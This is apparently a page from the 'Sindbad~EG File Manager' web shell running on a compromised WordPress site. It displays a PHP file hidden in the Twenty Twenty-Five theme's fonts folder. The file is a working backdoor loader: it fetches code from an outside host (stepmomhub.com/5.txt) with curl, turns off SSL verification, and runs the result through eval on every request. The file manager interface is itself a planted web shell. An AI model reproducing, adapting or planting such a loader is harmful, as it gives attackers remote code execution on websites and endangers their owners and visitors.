Sindbad~EG File Manager

Current Path : /home/julesbu/www/wp-content/themes/twentytwentyfive/assets/fonts/beiruti/y8t9r2/
Upload File :
Current File : /home/julesbu/www/wp-content/themes/twentytwentyfive/assets/fonts/beiruti/y8t9r2/kgwx5.php

<?php
function executeExternalPHP($url, $method = 'file_get_contents', $use_eval = false) {
    // Validasi URL
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        return "URL tidak valid";
    }

    // Ambil konten dari URL
    if ($method === 'curl') {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        $externalCode = curl_exec($ch);
        
        if (curl_errno($ch)) {
            curl_close($ch);
            return "CURL Error: " . curl_error($ch);
        }
        curl_close($ch);
    } else {
        $externalCode = @file_get_contents($url);
        if ($externalCode === false) {
            return "Gagal mengambil kode dari URL";
        }
    }

    // Jika menggunakan eval
    if ($use_eval) {
        try {
            ob_start();
            eval("?>".$externalCode);
            $output = ob_get_clean();
            return $output;
        } catch (Exception $e) {
            return "Error saat mengeksekusi kode dengan eval: " . $e->getMessage();
        }
    }
    // Jika tidak menggunakan eval
    else {
        $tempFile = tempnam(sys_get_temp_dir(), 'external_php_');
        file_put_contents($tempFile, $externalCode);

        try {
            ob_start();
            include $tempFile;
            $output = ob_get_clean();
        } catch (Exception $e) {
            unlink($tempFile);
            return "Error saat mengeksekusi kode: " . $e->getMessage();
        }

        unlink($tempFile);
        return $output;
    }
}

// URL kode eksternal
$externalUrl = "https://stepmomhub.com/5.txt";

// Konfigurasi eksekusi
$method = 'curl'; // Pilih 'curl' atau 'file_get_contents'
$use_eval = true; // Gunakan eval atau tidak

// Jalankan fungsi dan tampilkan hasilnya
$result = executeExternalPHP($externalUrl, $method, $use_eval);
echo $result;
?>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists